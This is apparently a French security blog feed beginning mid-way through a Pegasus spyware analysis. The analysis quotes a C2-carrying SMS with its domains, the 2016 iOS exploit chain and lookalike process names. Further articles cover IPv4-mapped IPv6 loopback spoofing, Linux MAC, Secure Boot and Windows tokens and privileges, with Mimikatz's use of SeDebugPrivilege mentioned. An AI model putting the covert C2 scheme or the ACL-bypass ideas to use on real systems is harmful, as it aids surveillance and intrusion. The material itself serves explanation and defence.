Afin de rester le plus discret possible, l'adresse du C2 (Command & Control, le serveur central chargé d'envoyer des commandes au téléphone et de recevoir les informations) est dissimulée dans un SMS apparemment anodin d'authentification d'un compte Google.

Your Google Verification code is:5678429 https://gmail.com/?z=G&i=1:aalaan.tv:443,1:manoraonlinu.nut:443&s=Λ�=&�

On peut voir que dans le paramètre i, l'adresse du C2 est caché. D'après les analyses de Lookout, le dernier chiffre du code de vérification correspondrait au "numéro d'instruction", ici 9. Ainsi, même en l'absence d'accès à internet il est possible pour NSO Group d’interagir avec un téléphone infecté.

Pour parvenir à ses fins, Pegasus utilise donc trois 0day différentes ! Ceci démontre bien la sophistication avancée du logiciel de la firme israélienne. L'utilisation de trois failles 0day montrent aussi que les moyens financiers mis en place pour créer Pegasus sont extrêmement importants.

La CVE-2016-4657 permet d'obtenir une RCE, puis la CVE-2016-4655 permet de trouver le kernel slide. Enfin, la CVE-2016-4656 permet de jailbreak l'appareil et d'installer Pegasus

Une affaire d'une ampleur tentaculaire, 2021 − Megalodon

Le 18 juin 2021 la cellule investigation d'Amnesty International révélait donc dans un whitepaper le nouveau mode opératoire de Pegasus, et en particulier l'existence de l'exploitation de failles dites 0click. Cette vulnérabilité permet à un attaquant, par un simple iMessage, d'infecter un téléphone. Amnesty a pu récupérer depuis des sauvegardes iCloud un certain nombre d'adresse mail correspondant aux compte iCloud utilisés pour infecter les téléphones cibles.

Pour se camoufler, Pegasus utilise pour le nom de ses processus des noms très similaires à ceux utilisés par iOS.

En voici quelques exemples

Nom de processus utilisé par Pegasus Nom de processus original
ABSCarryLog ASPCarryLog
aggregatenotd aggregated
ckkeyrollfd ckkeyrolld
com.apple.Mappit.SnapshotService com.apple.MapKit.SnapshotService
com.apple.rapports.events com.apple.rapport.events
CommsCenterRootHelper CommCenterRootHelper

Le Security Lab d'Amnesty a aussi pu détecter que des applications comme Apple Music on été utilisées comme des vecteurs d'attaque.

vx-underground a publié des fichiers qui, selon leurs dires, seraient la version pour Android de Pegasus, cependant, la société ZecOps a pu analyser ces fichiers qui, selon eux, n'appartiendraient pas à Pegasus.

L'ensemble de ces nouvelles techniques restent relativement floues, en effet, Amnesty International n'a pas pu récupérer le binaire de Pegasus pour l'analyser, celui-ci étant chiffré. Sans cette rétro-ingénierie, aucune CVE n'a pu être publiée.

Au delà de la technique

Le paragraphe qui suit, plus politique, est un éditorial, il ne reflète que l'avis de son auteur.

Au delà de l'aspect technique, cette affaire est avant tout politique. Elle montre une fois de plus qu'à l'ère d'un monde toujours plus informatisé, toujours plus mondialisé, il est aisé pour les services de renseignement d'états anti-démocratiques − comme celui du Maroc qui, d'après Amnesty International aurait acheté sa solution à NSO Group − d'espionner à peu près n'importe qui à l'autre bout de la planète. L'affaire Pegasus montre enfin que, malgré l'avis général de la population contre la surveillance des communications électroniques, les gouvernements des différents pays continuent d'opérer ces pratiques dans le plus grand secret. Cette distance, entre l'avis de la majorité de la population et les décisions prises par nos gouvernements est le signe de la défaillance de nos systèmes politiques.

Le danger des IPv4 mappées en IPv6

Il y a maintenant une vingtaine d'années avait été mis en place sur certaines machines un système permettant d'avoir des adresse IPv6 mappant une adresse IPv4, le but était de n'avoir qu'un socket (qui est basiquement un intermédiaire entre les interfaces réseau physiques et les logiciels accédant au réseau) écoutant seulement en IPv6 mais acceptant les IPv4 mappées. Ces adresses IPv6 ont pour 80 premiers bits des zéros, les 16 suivants sont des f, et les 32 derniers bits représentent une adresse IPv4. :ffff:0a00:0001 est l'adresse IPv6 correspondant à l'adresse 10.0.0.1, on peut aussi l'écrire sous la forme ::ffff:10.0.0.1. Si vous souhaitez calculer une adresse IPv4 mappée, vous pouvez utiliser ce site, nous utiliserons l'écriture ::ffff:10.0.0.1 pour le reste de cet article.

Ce mode de fonctionnement peut paraître un bon moyen de transitionner vers un déploiement massif d'IPv6, mais les adresses IPv4 mappées représentent une réelle menace, en effet, quand un programme reçoit une adresse IPv4 il n'a aucun moyen de savoir si cette adresse IP était mappée sur une IPv6 ou si c'est une véritable adresse IPv4, donc si un attaquant envoie une requête avec une adresse IPv6 ::ffff:127.0.0.1 par exemple, cela pourrait être interprété comme l'adresse IPv4 de loopback 127.0.0.1 et donc permettre à l'attaquant d'accéder à certains logiciels qui donneraient certaines permissions dans leur ACL à l'adresse IP 127.0.0.1.

Schéma décrivant une attaque type utilisant une adresse IPv4 mappée

Le document qui détaille ces problèmes de sécurité recommande simplement d'interdire les adresses IPv4 mappées, mais ce n'est malheureusement pas encore le cas, de nombreux systèmes récents, à l'exception de NetBSD, OpenBSD et FreeBSD.

Sécuriser votre système d'exploitation grâce aux MAC

Un reproche souvent fait à Linux est sa gestion des droits souvent trop permissive. Il y a bien sûr une raison historique, à la naissance des différents systèmes d'exploitation que l'on connait aujourd'hui la sécurité n'était pas la préoccupation principale. Le but de base n'était pas non plus de compliquer la tâche des utilisateurs (la sécurité se fait toujours au prix de complexité supplémentaire). Le problème de cette philosophie de départ est qu'il faut repenser la sécurité avec une base trop ouverte.

Sous Linux tout est fichier, les périphériques physiques ont par exemple, un fichier attribué dans /dev. La sécurité d'accès pour les fichiers se base sur les permission de chaque fichier. Ce mécanisme montre vite des limites. Les autorisations sont très limitées, sous Linux ces autorisations sont divisées en 3, ce que l'utilisateur propriétaire peut faire, ce que le groupe propriétaire peut faire et ce que tout le monde est autorisé à faire. Chaque partie peut avoir 3 droits différents :

  • R (read) : Lecture
  • W (write) : Écriture
  • X (Execute) : Exécution (dans le cadre d'un dossier c'est l'autorisation pour lister le contenu)

On peut visualiser les permissions via la commande ls -l <dossier> :

% ls -l
total 0
-rwxr-xr-x 1 ramle ramle 0 Jul 19 17:05 executable
-rw------- 1 root  root  0 Jul 19 17:05 root_only

ls divise en 3 parties les permissions, celle de l'utilisateur, du groupe et de tout le monde :

Détails des droits affichés par LS

Le soucis de se baser uniquement sur les permissions des fichiers est le manque de contrôle, le schéma de sécurité des MAC permet de renforcer le tout en regardant beaucoup plus de facteur. Le concept est de regarder toutes le actions faites sur la machine, et de regarder l'action et l'autoriser ou non en fonction des règles d'accès. L'avantage de ce modèle par rapport à la sécurité historique de Linux (et UNIX par la même occasion) est d'être bien plus précis, par exemple autoriser à une application seulement certains ports et fichiers (fichier qui pourrait selon le système de fichier lui être autorisé).

Sous Linux, il n'y a pas de base de framework de MAC, mais des modules dans le noyaux sont prévu pour qu'on y greffe un framework il y en a deux importants, Apparmor et SELinux.

Les deux ont des fonctionnalités similaires, mais se différencient par un point important, Apparmor se base sur le chemin complet d'un fichier, là ou SELinux se base seulement sur le nom, cette différence est assez minime dans la plupart des cas, mais en fonction du framework utilisé, des méthodes de contournement se basant sur ces spécificités, par exemple en utilisant des liens virtuels (symlink) ou renommant un fichier, une bonne politique d'accès évite cependant les contournements.

Bien sûr, Linux n'est pas le seul système d'exploitation qui utilise des contrôles d'accès plus poussé qu'uniquement des permissions basiques, Windows fonctionne sur ce principe aussi tout comme MacOS et BSD avec l'intégration de TrustedBSD.

Vérifier l’intégrité d'un système d'exploitation grâce à Secure Boot.

La sécurité d’un système dépend de beaucoup de facteurs, un des facteurs importants est de pouvoir vérifier l’intégrité du système démarré, en effet sans cette vérification un attaquant pourrait sans trop de difficultés modifier les fichiers de démarrage pour ajouter un malware. Cet article se concentrera sur les machines de bureau.

Pour bien comprendre comment des attaques peuvent être effectuées pendant le boot, il est important de comprendre le fonctionnement du démarrage en mode BIOS, et son remplaçant l'UEFI.

BIOS

Le démarrage en BIOS s'appuie sur une table des partitions en MBR (Master Boot Record). Pour démarrer le BIOS va exécuter du code contenu dans la table des partitions, ce code s'occupe de passer la main au bootloader qui va s'occuper de lancer le système. Un problème assez flagrant apparait déjà, du code peut être directement inséré dans cette partie, aucune vérification n'est effectuée par le BIOS. Un attaquant pourrait aussi attaquer le bootloader qui ne peut pas être chiffré.

Sous Linux (nous verrons le fonctionnement de Windows un peu plus loin), le bootloader le plus courant est GRUB. Il insère dans le MBR de quoi charger son code complet qui est contenu dans /boot, la plupart des bootloaders sous Linux fonctionnent sur le même principe.

Un système non chiffré

Pour éviter une modification du système on pourrait chiffrer la partition root (aussi appelé Userland) et faire un /boot à part (le bootloader ne peut pas être chiffré). Un problème se pose alors, l'initramfs et le kernel sont toujours en clair.

Un système chiffré avec seulement le userland de chiffré

GRUB (et c'est à ma connaissance le seul) permet de déchiffrer le partition boot, pour garder l'initramfs et le kernel chiffré. Mais GRUB en lui même est toujours modifiable, même chose pour le code exécuté directement dans le MBR.

Un système chiffré avec le userland et le kernel de chiffré

En plus de ne pas être totalement sécurisé, avec cette méthode la phrase de passe doit être tapée deux fois : une fois pour lire l'initramfs et une autre fois pour déchiffrer la partition root. (GRUB ne la retient pas.)

Une solution possible serait de signer les différents éléments du boot, le problème est qu'en BIOS aucun mécanisme pour la vérification de signature existe.

Avec un BIOS nous n'avons pas de possibilité de sécuriser entièrement un système Linux.

Pour Windows, le concept est très proche. Le BIOS va exécuter le code dans le MBR, ce code va enclencher le bootloader de Windows (qui, depuis Windows Vista, est bootmgr). Chiffrer son disque pose le même soucis que sous Linux : le bootloader restera en clair.

UEFI

Avec UEFI on se passe de MBR au profit de GPT qui apporte un certain nombre d'avantages. Le processus de boot ne se passe plus par un code exécutable dans la partie MBR, ce code est contenu dans une partition en FAT32 (ou FAT16), ce qui permet de ne plus être aussi limité en taille (la partie dédié au code de démarrage dans MBR n'est que de 446 octets). UEFI apporte aussi une évolution majeure pour la sécurité : Secure Boot, c'est un moyen de vérifier l'intégrité via une signature du fichier EFI. Un fichier EFI est un exécutable lancé par l'UEFI qu'on pourrait le comparer aux ELF de Linux ou aux exe de Windows.

Lorsque qu'un PC avec Secure Boot démarre, il vérifie le binaire EFI pour voir si la signature correspond à une clé de "confiance" et si la signature n'est pas dans dans la liste des clés à refuser.

L'UEFI se base sur des variables pour les clés, vous pouvez les voir depuis Linux via l'utilitaire "efi-readvars". Ce qui sur ma machine donne :

Variable PK, length 823
PK: List 0, type X509
    Signature 0, size 795, owner 5b2a4205-8ee1-404d-a357-45629f968019
        Subject:
            CN=Ramle PK
        Issuer:
            CN=Ramle PK
Variable KEK, length 825
KEK: List 0, type X509
    Signature 0, size 797, owner 5b2a4205-8ee1-404d-a357-45629f968019
        Subject:
            CN=Ramle KEK
        Issuer:
            CN=Ramle KEK
Variable db, length 823
db: List 0, type X509
    Signature 0, size 795, owner 5b2a4205-8ee1-404d-a357-45629f968019
        Subject:
            CN=Ramle DB
        Issuer:
            CN=Ramle DB
Variable dbx has no entries
Variable MokList has no entries

Regardons de plus près chaque variable :

  • PK : C'est la clé la plus haute dans la chaine de confiance, elle est là pour signer la clé KEK, une seule clé est possible dans cette variable. En général c'est le constructeur qui met sa clé, si vous voulez contrôler totalement la chaine de confiance il faudra donc la changer.
  • KEK : Ces clé sont utilisées pour signer les clés qui iront dans DB ou DBX, souvent de base il y a 2 KEK, une pour Microsoft et une autre pour le fabricant.
  • DB : Ce sont les clés utilisées pour la vérifications des binaires EFI. Souvent l'ordinateur vient avec les clés du constructeur, de Microsoft, Canonical (entreprise qui est derrière Ubuntu) et parfois d'autres entreprises.
  • DBX : C'est la liste des clés qui ne sont plus de confiance.
  • MOKList : C'est utilisé par un outil du nom de Shim, cet outil est là pour charger un autre bootloader qui ne serait pas signé avec les clés présentes dans DB. Shim va vérifier le bootloader via les clés dans la MOKList qui est géré par l'utilisateur, et non via l'UEFI directement.

La chaine de confiance de Secure Boot

Ces variables sont bien sûr modifiables sur la plupart des PC, ce qui permet de gérer sa propre PKI (public key infrastructure).

Si on veut un réel contrôle il faut gérer soit même ses clés. Sous Linux c'est possible sans trop de difficultés, FreeBSD et OpenBSD semblent supporter aussi (je n'ai pas eu l'occasion de tester) et sous Windows on peut soit utiliser les clés de Microsoft ou utiliser ses propres clés ce qui semble en théorie possible.

J'espère que cette article vous aura plus, je pense prochainement faire un petit guide pour la gestion de Secure Boot sous Linux, je vous laisse donc surveiller les sorties 👀. On se retrouve après demain pour un article sur MQTT.

Modèle de sécurité Windows

Introduction

"Accès refusé". S’il y a bien une erreur frustrante, c’est sûrement celle-ci. Sur Windows nous y sommes pourtant souvent confrontés, surtout dans une perspective attaquante. En revanche, peu de gens comprennent pourquoi cette erreur (ou d’autres) vient s’immiscer dans sa confortable utilisation de son système d’exploitation.

Dans cet article, je tâcherais de vous présenter, dans les grandes lignes, le modèle de sécurité qu’utilise Windows, principalement les notions de privilège d’accès et de contrôle d’accès.

De manière générale, lorsque je parlerais d’objet Windows, je parlerais d’utilisateurs, de machines, de fichiers, ou encore de processus.

Contexte de sécurité

Pour bien comprendre la suite, il est nécessaire de comprendre ce qu’est un contexte de sécurité chez notre ami Windows. Ce dernier désigne un ensemble d’attributs ou de règles de sécurité actuellement en vigueur pour reprendre la définition de Microsoft. Un contexte de sécurité se traduira par une structure de données particulières définis par la SSPI ("Security Support Provider Interface"), une API Windows écrite dans le but d’interagir avec le contexte de sécurité, elle est notamment utilisée, par exemple, pour l’authentification. Autrement dit, le contexte de sécurité définit les éléments de bases du système de sécurité de notre os favori (si c’est pas le cas faites comme si).

SecurableObject

Un objet est dit "sécurisable" s’il a la capacité de posséder un descripteur de sécurité. De manières générales, énormément d’objet dans Windows sont des SecurableObject. Les processus, les clés de registre, les fichiers/répertoires, les objets ‘Active Directory’ et bien d’autres. Ils forment donc le cœur des interactions entre nous et le système d’exploitation. J’ai parlé des descripteurs de sécurité, ces derniers sont simplement des listes de plusieurs caractéristiques. Ils contiennent le SID ("Security Identifier", qui est un identifiant unique) du propriétaire de l’objet, le SID du groupe propriétaire, et des ACLs pour "Access Control Lists". Les descripteurs de sécurité sont usuellement au format SDDL ("Security Descriptor Definition Langage") bien que peu reluisant, il est en réalité très pratique car simple d’utilisation (non pas de compréhension).

Token d’accès

Lorsqu’un utilisateur Windows se connecte à son compte local (ou Active Directory) plusieurs informations seront alors stockés dans la mémoire. De manière assez évidente, il contiendra le condensat du mot de passe (sauf configurations très improbable ou un système relativement vieux et dans ces cas précis, ce sera le mot de passe en claire), son SID, le SID de son groupe, des privilèges d’accès (nous y reviendrons plus tard) et bien d’autres informations. On regroupe tout cela dans ce que l’on appelle un token d’accès. Ce dernier est alors gardé dans un processus un peu particulier appelé LSASS.exe pour "Local Security Autority SubSystem Service". Ce dernier est donc vital et très sensible.

Une fois le mot de passe spécifié, un token est créé

Lorsqu'on interagit avec le système d’une quelconque manière, une copie de notre token d’accès est alors utilisée. Dans le cas d’un fichier, les informations que le token d’accès contient vont donc être comparées avec les informations contenues dans la DACL (qui est une liste contenant les accès, plus d’information sur ce sujet un peu après) garantissant ou non un accès d’une certaine valeur. Il peut être destiné à de l’écriture, de la lecture ou bien même pour de l’exécution.

Certaines informations du token sont comparées avec la DACL

Un cas plus intéressant est celui du démarrage d’un programme. En effet, ce dernier est lancé en tant qu’un utilisateur en particulier, il ne doit donc pas contourner ce fameux système d’accès. C’est pourquoi les processus sont considérés comme des SecurableObject, et dans cette situation, une copie de notre token d’accès est également donné et quand le programme interagira avec le système, il le fera bien selon les droits et l’identité de l’utilisateur connecté.

Lorsque l'on créer un processus, on lui fournit notre token pour qu'il puisse l'utiliser

La fonction CreateProcessA() est une fonction de l'API Windows kernel32.dll qui permet de créer un nouveau processus.

Privilèges d’accès

Comme mentionné plus tôt, le token d’accès renferme en son sein un certain nombre de privilèges. Ces derniers sont attribués à chaque connexion, en fonction des règles de sécurité. Plus précisément, les privilèges d’accès sont donnés en fonction du groupe d’appartenance auquel on attribut des droits par défaut grâce aux GPOs locales (dans gpedit.msc, Configuration Ordinateur \ Paramètres windows\ Paramètres de sécurité\ Stratégies local\ Attribution des droits utilisateur). La liste de ces privilèges n’est pas présente sous forme d’énumération classique, en revanche voici une implémentation en PowerShell pour bien se rendre compte de l’ensemble de ces privilèges (issus de PSReflect-Functions).

$SecurityEntity = psenum $ENUM SecurityEntity UInt32 @{
    SeCreateTokenPrivilege =  1
    SeAssignPrimaryTokenPrivilege =  2
    SeLockMemoryPrivilege =  3
    SeIncreaseQuotaPrivilege =  4
    SeUnsolicitedInputPrivilege =  5
    SeMachineAccountPrivilege =  6
    SeTcbPrivilege =  7
    SeSecurityPrivilege =  8
    SeTakeOwnershipPrivilege =  9
    SeLoadDriverPrivilege =  10
    SeSystemProfilePrivilege =  11
    SeSystemtimePrivilege =  12
    SeProfileSingleProcessPrivilege =  13
    SeIncreaseBasePriorityPrivilege =  14
    SeCreatePagefilePrivilege =  15
    SeCreatePermanentPrivilege =  16
    SeBackupPrivilege =  17
    SeRestorePrivilege =  18
    SeShutdownPrivilege =  19
    SeDebugPrivilege =  20
    SeAuditPrivilege =  21
    SeSystemEnvironmentPrivilege =  22
    SeChangeNotifyPrivilege =  23
    SeRemoteShutdownPrivilege =  24
    SeUndockPrivilege =  25
    SeSyncAgentPrivilege =  26
    SeEnableDelegationPrivilege =  27
    SeManageVolumePrivilege =  28
    SeImpersonatePrivilege =  29
    SeCreateGlobalPrivilege =  30
    SeTrustedCredManAccessPrivilege =  31
    SeRelabelPrivilege =  32
    SeIncreaseWorkingSetPrivilege =  33
    SeTimeZonePrivilege =  34
    SeCreateSymbolicLinkPrivilege =  35
}

Et oui, 35 privilèges ça fait beaucoup. Mais à quoi servent-ils ? Ils permettent d’effectuer certaines tâches systèmes. Il ne faut donc pas les confondre avec les ACE ("Access Control Entry", qui représente un droit attribuer dans une DACL), car ces dernières définissent l’accès à un SecurableObject. Par exemple, le droit SeBackupPrivilege est donné à tout membre du groupe Backup Operators et permet de lire le contenu d’un fichier peu importe ses ACLs (sauf si une interdiction explicite à votre encontre est présente).

Si un privilège est présent comme SeBackupPrivilege, l'étape de comparaison avec la DACL n'est pas effectuée

Le droit SeRestorePrivilege permet identiquement d’écrire un fichier. Le droit SeDebugPrivilege (réservé aux Administrateurs), permet d’accéder et de manipuler la mémoire d’un autre programme, un programme que nous n’avons pas lancé. C’est typiquement ce droit que demande Mimikatz pour accéder aux fameux condensats de mots de passe gardé par LSASS.exe.

Vous pouvez trouver une liste complète des droits donnés par quel privilège dans la documentation officielle de Microsoft.

Ces privilèges, sont donc naturellement très puissant et il ne faut surtout pas négliger leur sécurité, qui possède quoi. Bon, mais comment puis-je clairement savoir de quels privilèges je dispose ? La commande la plus simple pour cela est whoami /all. whoami.exe ouvre le token d’accès de son propre processus, or comme nous l’avons dit plus tôt, ce dernier contient toutes les informations dont le système à besoin pour achever ses tâches, notamment accéder aux SecurableObject. Ainsi, nous pouvons voir nos privilèges (whoami /priv), nos groupes (whoami /groups), notre SID (whoami /user) et bien d’autres. Un petit exemple, une fois connecté, je lance une invite de commande PowerShell et tape whoami /priv. Par malchance, le droit semble alors désactivé.

Windows PowerShell
Copyright (C) Microsoft Corporation. Tous droits réservés.

Testez le nouveau système multiplateforme PowerShell https://aka.ms/pscore6

PS D:\> whoami /priv

Informations de privilèges
----------------------

Nom de privilège              Description                                  État
============================= ============================================ =========
SeShutdownPrivilege           Arrêter le système                           Désactivé
SeChangeNotifyPrivilege       Contourner la vérification de parcours       Activé
SeUndockPrivilege             Retirer l’ordinateur de la station d’accueil Désactivé
SeIncreaseWorkingSetPrivilege Augmenter une plage de travail de processus  Désactivé
SeTimeZonePrivilege           Changer le fuseau horaire                    Désactivé
PS D:\>

Pour éteindre mon ordinateur je dois donc activer ce droit. Grâce à une magie occulte je peux l’activer (en réalité j’use simplement d’un implémentation de la fonction RtlAdjustPrivilege de NTDLL.dll, qui permet d’ajuster les privilèges pour notre processus, en PowerShell) et on peut alors voir que maintenant je peux éteindre mon poste.

PS D:\tools\PowerShellScript\PSReflect-Functions> RtlAdjustPrivilege -Privilege SeShutdownPrivilege -Verbose
COMMENTAIRES : [RtlAdjustPrivilege] Attempting to enable 'SeShutdownPrivilege' for the current process
COMMENTAIRES : [RtlAdjustPrivilege] enable for 'SeShutdownPrivilege' successful
PS D:\tools\PowerShellScript\PSReflect-Functions> whoami /priv

Informations de privilèges
----------------------

Nom de privilège              Description                                  État
============================= ============================================ =========
SeShutdownPrivilege           Arrêter le système                           Activé
SeChangeNotifyPrivilege       Contourner la vérification de parcours       Activé
SeUndockPrivilege             Retirer l’ordinateur de la station d’accueil Désactivé
SeIncreaseWorkingSetPrivilege Augmenter une plage de travail de processus  Désactivé
SeTimeZonePrivilege           Changer le fuseau horaire                    Désactivé
PS D:\tools\PowerShellScript\PSReflect-Functions>

Sauf qu’après une partie de "CS:GO" en compagnie d’une équipe russe le "ragequit" serait quelque peu ennuyant. C’est pour cela qu’il est possible d’activer ou de désactiver des privilèges. Attention, ces derniers doivent être contenu dans notre token d’accès initiale, sinon cela serait beaucoup trop facile. Lorsque nous utilisons un programme tel "shutdown.exe" il va utiliser certaines fonctions de la WinAPI (AdjustTokenPrivileges de advapi32.dll pour les curieux) pour changer ses privilèges, et de ce fait pouvoir dire adieu à notre partie gagnée d’avance.

Pour activer un privilège tel SeShutdownPrivilege, un programme comme shutdown.exe utilise AdjustTokenPrivileges

Les listes d’accès

Il en existe deux types. La première est la SACL pour "System Access Control List" qui est vraisemblablement la plus simple. En effet, elle permet d’établir un certain nombre de règles concernant l’audit d’accès à l’objet portant cette liste. On peut alors définir dans cette dernière quel événement, pour quel utilisateur, se doit d’être inscrit dans les journaux d’événements. L’autre type se nomme DACL pour "Discretionary Access Control List". La DACL contient un certains nombres d’ACE ("Access Control Entry") qui précise le type de droit accordé à un objet. Leur structure est assez élémentaire. En outre, une ACE contient un header déterminant son type c’est à dire accès autorisé ou refusé et d’autres informations. Le header, quant à lui, contient le droit garantit ou non. Ce droit est appelé masque d’accès. On énumère ce que l’on appelle les droits standards qui sont élémentaires:

  • DELETE est le droit de supprimer l’objet, je vous l’accorde il n’était pas très complexe celui-là.
  • READ_CONTROL est le droit de lire la SACL/DACL.
  • WRITE_DAC est le droit de modifier les entrés de la DACL, c’est à dire ajouter des ACEs.
  • WRITE_OWNER est le droit de modifier le propriétaire d’un objet, l’intérêt étant que ce dernier possède implicitement tous les droits souhaités.

Ces droits standards permettent alors de construire ce que l’on appelle les droits génériques:

  • GENERIC_READ permet, comme son nom l’indique, de lire les attributs et propriétés d’un objet. Si c’est un fichier par exemple, ce droit permet la lecture du contenu du fichier. Son équivalent sous linux est le flag "r".
  • GENERIC_WRITE permet la modification des propriétés et attributs de l’objet. Pour continuer dans le précédent exemple, ce droit permet la modification de son contenu. Son équivalent sous linux est le flag "w".
  • GENERIC_EXECUTE permet de lire les permissions d’un objet. Factuellement si c’est un programme, il permet de le lancer. Son équivalent sous linux serait le flag "x".
  • GENERIC_ALL est la combinaison de ces droits. Attention cependant, il est sensiblement plus fort, dans de très rare cas. Il peut s’avérer que la combinaison GENERIC_READ/WRITE/EXECUTE n’est pas équivalente à GENERIC_ALL, il n’a donc pas d’équivalent dans le système au pingouin.

Il en existe encore un grand nombre mais l’objectif n’est pas l’exhaustivité. Pour voir ces accès, il faut utiliser l’onglet sécurité des propriétés d’un objet. On peut également utiliser notre shell préférer aka PowerShell (là pour le coup, vous n’avez pas d’excuse car PowerShell c’est génial et opensource). Une commande particulière est destinée à cela: Get-Acl. Elle prend comme argument le chemin vers notre objet, -Path et ce sera globalement tout pour une utilisation simple. Le résultat retourné est alors une "table" ce qui est assez inconfortable. Pour s’affranchir de se problème d’affichage, on utilise un pipe | vers la commande Format-List (ou son alias fl). On peut alors apercevoir entre autre le propriétaire du fichier dans notre cas, les accès accordés ainsi que le descripteur de sécurité au format SDDL.

PS D:\tools\PowerShellScript\PSReflect-Functions> Get-Acl .\ | fl


Path   : Microsoft.PowerShell.Core\FileSystem::D:\tools\PowerShellScript\PSReflect-Functions
Owner  : DESKTOP-8Q2CUHH\Lancelot
Group  : DESKTOP-8Q2CUHH\Aucun
Access : BUILTIN\Administrateurs Allow  FullControl
         BUILTIN\Administrateurs Allow  268435456
         AUTORITE NT\Système Allow  FullControl
         AUTORITE NT\Système Allow  268435456
         AUTORITE NT\Utilisateurs authentifiés Allow  Modify, Synchronize
         AUTORITE NT\Utilisateurs authentifiés Allow  -536805376
         BUILTIN\Utilisateurs Allow  ReadAndExecute, Synchronize
         BUILTIN\Utilisateurs Allow  -1610612736
Audit  :
Sddl   : O:S-1-5-21-1739485902-3336647338-3362325240-1001G:S-1-5-21-1739485902-3336647338-3362325240-513D:(A;ID;FA;;;BA)(A;OICIIOID;GA;;;BA)(A;ID;FA;;;SY)(A;OICIIOID;GA;;;SY)(A;ID;0x1301bf;;;AU)(A;OICIIOID;SD
         GXGWGR;;;AU)(A;ID;0x1200a9;;;BU)(A;OICIIOID;GXGR;;;BU)



PS D:\tools\PowerShellScript\PSReflect-Functions>

Si vous souhaitez plus de précisions, je vous invite à lire mon article sur le modèle de sécurité Windows

Résumons

Lorsqu’un utilisateur se connecte à sa session, des informations seront gardées en mémoire dans un token d’accès. Lorsqu’il souhaite démarrer un programme, une copie de son token est donné. Si ce dernier interagit avec le système, il devra utiliser ses privilèges pour réaliser certaines opérations. S’il n’est pas tout le temps nécessaire de les utiliser, lorsque l’on souhaite accéder à un objet (fichier, processus …) notre token d’accès sert de carte d’identité qui sera comparer avec le contenu de la DACL du descripteur de sécurité de l’objet auquel le programme/utilisateur souhaite accéder. En fonction des différentes entrés dans la liste d’accès, il se verra refuser ou autoriser un certain accès.

Description

J’espère que vous comprenez mieux à présent la manière dont l’os de Microsoft gère les permissions. Si cet article vous a plu, je vous invite à consulter mes articles sur les privilèges d’accès ainsi que sur l’abus des ACLs en Active Directory (et oui même si utile aux défenseurs, ils sont aussi utile aux attaquants).

❌
❌